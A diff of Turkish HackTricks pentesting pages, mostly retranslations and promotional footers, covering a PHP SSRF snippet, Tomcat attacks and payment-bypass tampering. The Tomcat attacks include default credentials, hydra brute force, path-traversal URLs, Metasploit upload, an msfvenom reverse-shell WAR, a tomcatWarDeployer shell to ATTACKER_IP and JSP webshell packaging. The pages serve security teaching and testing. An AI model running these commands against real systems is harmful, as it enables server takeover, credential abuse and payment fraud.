**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, **kullanıcının veriyi kontrol edebildiği durumlarda** giriş olarak URL'leri kabul eder ve takip ederken **mümkün olan SSRF zafiyetlerine** neden olabilir.
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
@ -44,7 +52,7 @@ Connection: close
Daha fazla bilgi için CRLF zafiyeti hakkında bu hatayı kontrol edin [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %}
Bu fonksiyonların isteklerde keyfi başlıklar ayarlamak için diğer yöntemlere sahip olabileceğini unutmayın:
Bu işlevlerin isteklerde keyfi başlıklar ayarlamak için diğer yöntemlere sahip olabileceğini unutmayın:
```php
$url = "";
@ -60,16 +68,23 @@ $options = array(
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -5,13 +5,21 @@
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **[PEASS Ailesi](https://opensea.io/collection/the-peass-family)**'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f)** katılın veya [telegram grubuna](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **[PEASS Ailesi](https://opensea.io/collection/the-peass-family)**'ni keşfedin, özel **NFT** koleksiyonumuzu keşfedin
* **[Resmi PEASS & HackTricks ürünlerini alın](https://peass.creator-spring.com)**
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f)** katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni **Twitter** 🐦 **@carlospolopm**'de **takip edin**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Keşif
* Genellikle **8080 numaralı portta çalışır**
@ -33,13 +41,13 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
### **Kullanıcı Adı Numaralandırma**
Tomcat sürümü 6'dan eski olan sürümler için kullanıcı adları numaralandırılabilir:
Tomcat sürümü 6'dan eski olanlar için kullanıcı adlarını numaralandırmak mümkündür:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Varsayılan Kimlik Bilgileri**
**`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenip dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin, genellikle aşağıdaki gibi temel HTTP kimlik doğrulaması ile korunmaktadır:
**`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenmesine ve dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin temel HTTP kimlik doğrulaması ile korunmaktadır ve yaygın kimlik bilgileri şunlardır:
* admin:admin
* tomcat:tomcat
@ -48,10 +56,12 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t
* admin:tomcat
Bu kimlik bilgileri aşağıdaki şekilde test edilebilir:
Bu kimlik bilgileri aşağıdaki komut kullanılarak test edilebilir:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Başka dikkat çekici bir dizin **`/manager/status`** 'dir, bu dizin Tomcat ve işletim sistemi sürümünü gösterir ve zayıflıkların belirlenmesine yardımcı olur.
### **Kaba Kuvvet Saldırısı**
Yönetici dizinine kaba kuvvet saldırısı yapmak için şunu kullanabilirsiniz:
@ -62,17 +72,17 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### **Şifre Geri İzleme Açığı**
`/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izleme altında ortaya çıkarabilir.
`/auth.jsp`'ye erişmek, şanslı durumlarda şifreyi bir geri izleme altında ortaya çıkarabilir.
### **Çift URL Kodlama**
`mod_jk` içindeki CVE-2007-1860 zayıflığı, çift URL kodlama yol geçişi sağlar ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.
`mod_jk` içindeki CVE-2007-1860 ığı, çift URL kodlama yol geçidi sağlar ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.
Tomcat yönetim webine erişmek için: `pathTomcat/%252E%252E/manager/html`
Tomcat yönetim webine erişmek için şu adrese gidin: `pathTomcat/%252E%252E/manager/html`
### /örnekler
Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırma ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırmaya ve çapraz site komut dosyası (XSS) saldırılarına duyarlı olan örnek betikleri içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
@ -97,13 +107,13 @@ Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırma ve cross-site scripting
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Yol Geçişi Sömürüsü**
### **Yol Geçidi Sömürüsü**
Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz.
Örneğin, **Tomcat yöneticisine erişebilirsiniz** `www.vulnerable.com/lalala/..;/manager/html`'ye erişerek.
Örneğin, **Tomcat yöneticisine erişebilirsiniz** `www.vulnerable.com/lalala/..;/manager/html` adresine erişerek.
Bu hileyi kullanarak korunan yolları atlamak için **başka bir yol**, `http://www.vulnerable.com/;param=value/manager/html`'ye erişmektir.
Bu hileyi kullanarak korunan yolları atlamak için **başka bir yol**, `http://www.vulnerable.com/;param=value/manager/html` adresine erişmektir.
## Uzaktan Kod Çalıştırma (RCE)
@ -111,7 +121,7 @@ Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyas
### Sınırlamalar
Yeterli ayrıcalıklarınız varsa (roller: **admin**, **manager** ve **manager-script**), yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü).
Yalnızca yeterli ayrıcalıklara (roller: **admin**, **manager** ve **manager-script**) sahipseniz bir WAR dağıtabilirsiniz. Bu detaylar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -123,7 +133,7 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell
```
### Metasploit
Metasploit is a penetration testing framework that makes hacking simple. It provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Metasploit, açık kaynaklı bir sızma testi çerçevesidir. Hızlı ve etkili bir şekilde sızma testleri yapmak için kullanılır. Metasploit, saldırı vektörlerini otomatikleştirmek için geniş bir modül koleksiyonuna sahiptir. Ayrıca, zafiyet tarama, saldırı simülasyonu ve güvenlik açıklarını keşfetme gibi birçok farklı güvenlik testi için de kullanılabilir.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -142,13 +152,13 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ile bağlantı ve ters kabuk oluşturun
Bazı senaryolarda bu çalışmaz (örneğin eski sürümlerinde sun)
Bazı senaryolarda bu çalışmaz (örneğin eski sun sürümleri)
#### İndir
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Ters Kabuk
#### Ters kabuk
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
@ -193,7 +203,7 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### El ile Yöntem 2
### Manuel Yöntem 2
Bir JSP web kabuğu edinin, örneğin [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ve bir WAR dosyası oluşturun:
```bash
@ -204,7 +214,7 @@ zip -r backup.war cmd.jsp
```
## POST
Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_
Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_'dir.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
@ -222,14 +232,20 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
</details>

View file

@ -5,16 +5,24 @@
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR gönderin.**
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın.**
</details>
### Root ile Çalıştırmaktan Kaçının
**Try Hard Security Group**
Tomcat'ı root olarak çalıştırmamak için çok yaygın bir yapılandırma, 80/443 portlarında bir Apache sunucusu ayarlamak ve istenen yol bir regex ile eşleşirse, istek farklı bir portta çalışan Tomcat'a gönderilir.
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Root ile Çalışmaktan Kaçının
Tomcat'ı root olarak çalıştırmamak için oldukça yaygın bir yapılandırma, 80/443 portlarında bir Apache sunucusu ayarlamak ve istenen yol bir regex ile eşleşirse, istek farklı bir portta çalışan Tomcat'a gönderilir.
### Varsayılan Yapı
```
@ -65,8 +73,8 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
En önemli dosya `WEB-INF/web.xml` dosyasıdır, dağıtım tanımlayıcısı olarak bilinir. Bu dosya, uygulama tarafından kullanılan rotalar ve bu rotaları işleyen sınıflar hakkında bilgileri depolar.\
Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` klasöründe saklanmalıdır. Bu sınıflar önemli iş mantığını ve hassas bilgileri içerebilir. Bu dosyalardaki herhangi bir güvenlik açığı, web sitesinin tamamen tehlikeye girmesine neden olabilir. `lib` klasörü, belirli uygulama için gerekli olan kütüphaneleri depolar. `jsp` klasörü, [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) olarak bilinen, önceden `JavaServer Pages` olarak bilinen dosyaları saklar.
En önemli dosya `WEB-INF/web.xml` dosyasıdır, bu dağıtım tanımlayıcısı olarak bilinir. Bu dosya, uygulama tarafından kullanılan rotalar ve bu rotaları işleyen sınıflar hakkında bilgileri depolar.\
Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` klasöründe saklanmalıdır. Bu sınıflar önemli iş mantığını ve hassas bilgileri içerebilir. Bu dosyalardaki herhangi bir güvenlik açığı web sitesinin tamamen tehlikeye girmesine neden olabilir. `lib` klasörü, belirli bir uygulamanın ihtiyaç duyduğu kütüphaneleri depolar. `jsp` klasörü, [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) olarak bilinen, önceden `JavaServer Pages` olarak bilinen PHP dosyalarına benzetilebilecek dosyaları depolar.
İşte bir **web.xml** dosyası örneği.
```xml
@ -86,15 +94,15 @@ Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` kl
</servlet-mapping>
</web-app>
```
Yukarıdaki `web.xml` yapılandırması, **`AdminServlet` adında yeni bir servlet** tanımlar ve **`com.inlanefreight.api.AdminServlet` sınıfına** eşlenir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, yukarıda tanımlanan sınıfın diskteki yolu şöyle olacaktır:
Yukarıdaki `web.xml` yapılandırması, **`AdminServlet` adında yeni bir servlet** tanımlar ve **`com.inlanefreight.api.AdminServlet` sınıfına** eşlenir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, yukarıda tanımlanan sınıfın disk üzerindeki yolu şöyle olacaktır:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
Daha sonra, **`/admin` isteklerini `AdminServlet` ile eşlemek** için yeni bir servlet eşlemesi oluşturulur. Bu yapılandırma, **`/admin` için alınan herhangi bir isteği işlemek için `AdminServlet.class`** sınıfına yönlendirecektir. **`web.xml`** açıklaması birçok **duyarlı bilgi** içerir ve **Yerel Dosya Dahil Etme (LFI) zafiyetinden yararlanırken** kontrol edilmesi gereken önemli bir dosyadır.
Daha sonra, **`/admin` isteklerini `AdminServlet` ile eşleyen yeni bir servlet eşlemesi oluşturulur**. Bu yapılandırma, **`/admin` için alınan herhangi bir isteği işlemek üzere `AdminServlet.class` sınıfına yönlendirir**. **`web.xml`** açıklaması, bir **Yerel Dosya Dahil Etme (LFI) zafiyetinden yararlanırken kontrol edilmesi gereken önemli bir dosya** olan çok sayıda **duyarlı bilgi** içerir.
### tomcat-users
**`tomcat-users.xml`** dosyası, **`/manager` ve `host-manager` yönetici sayfalarına erişimi** izin vermek veya engellemek için kullanılır.
**`tomcat-users.xml`** dosyası, **`/manager` ve `host-manager` yönetici sayfalarına erişimi izin vermek** veya engellemek için kullanılır.
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -141,14 +149,8 @@ Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` roller
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
<details>
**Try Hard Security Group**
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi **HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -6,32 +6,35 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
**Try Hard Güvenlik Grubu**
## Ödeme Sürecini Atlatma Teknikleri
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ödeme Atlatma Teknikleri
### İstek Yakalama
İşlem süreci sırasında istemci ve sunucu arasında değişen verileri izlemek son derece önemlidir. Bu, tüm istekleri yakalayarak yapılabilir. Bu istekler içinde, işlem için önemli sonuçları olan parametreleri arayın:
- **Başarı**: Bu parametre genellikle işlemin durumunu gösterir.
- **Yönlendirici**: İsteğin kaynağını işaret edebilir.
- **Geribildirim**: Genellikle işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için kullanılır.
İşlem süreci sırasında istemci ve sunucu arasında değişen verileri izlemek son derece önemlidir. Bu, tüm istekleri yakalayarak yapılabilir. Bu istekler içinde, genellikle işlem durumunu gösteren **Başarılı**, isteğin kaynağını işaret edebilecek **Referrer** ve işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için kullanılan **Callback** gibi önemli etkilere sahip parametreleri arayın.
### URL Analizi
Özellikle _örnek.com/ödeme/MD5HASH_ desenini takip eden bir URL içeren bir parametreyle karşılaşırsanız, bu daha yakından incelenmelidir. İşte adım adım bir yaklaşım:
Özellikle _example.com/payment/MD5HASH_ desenini takip eden bir URL içeren bir parametreyle karşılaşırsanız, bu daha yakından incelenmelidir. İşte adım adım bir yaklaşım:
1. **URL'yi Kopyala**: Parametre değerinden URL'yi çıkarın.
2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu eylem, işlemin sonucunu anlamak için kritiktir.
2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu lem, işlemin sonucunu anlamak için kritiktir.
### Parametre Manipülasyonu
1. **Parametre Değerlerini Değiştirme**: _Başarı_, _Yönlendirici_ veya _Geribildirim_ gibi parametrelerin değerlerini değiştirerek deney yapın. Örneğin, bir parametreyi `false`dan `true`'ya değiştirmek, sistemin bu girdileri nasıl işlediğini bazen ortaya çıkarabilir.
1. **Parametre Değerlerini Değiştirme**: _Success_, _Referrer_ veya _Callback_ gibi parametrelerin değerlerini değiştirerek deney yapın. Örneğin, bir parametreyi `false`dan `true`'ya değiştirmek, sistemin bu girdileri nasıl işlediğini bazen ortaya çıkarabilir.
2. **Parametreleri Kaldırma**: Belirli parametreleri tamamen kaldırmayı deneyerek sistemin nasıl tepki verdiğini görmeyi deneyin. Beklenen parametreler eksik olduğunda bazı sistemler yedek planları veya varsayılan davranışları olabilir.
### Çerez Manipülasyonu
@ -43,4 +46,24 @@ HackTricks'ı desteklemenin diğer yolları:
### Yanıt Manipülasyonu
1. **Yanıtları Yakalama**: Araçlar kullanarak sunucudan gelen yanıtları yakalayın ve analiz edin. Başarılı bir işlemi gösterebilecek veya ödeme sürecindeki bir sonraki adımları ortaya çıkarabilecek herhangi bir veriyi arayın.
2. **Yanıtları Değiştirme**: Tarayıcı veya uygulama tarafından işlenmeden önce yanıtları değiştirmeye çalışarak başarılı bir işlem senaryosunu simüle etmeyi deneyin.
2. **Yanıtları Değiştirme**: Tarayıcı veya uygulama tarafından işlenmeden önce yanıtları değiştirmeye çalışarak başarılı bir işlem senaryosunu simüle etmeye çalışın.
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -2,44 +2,52 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
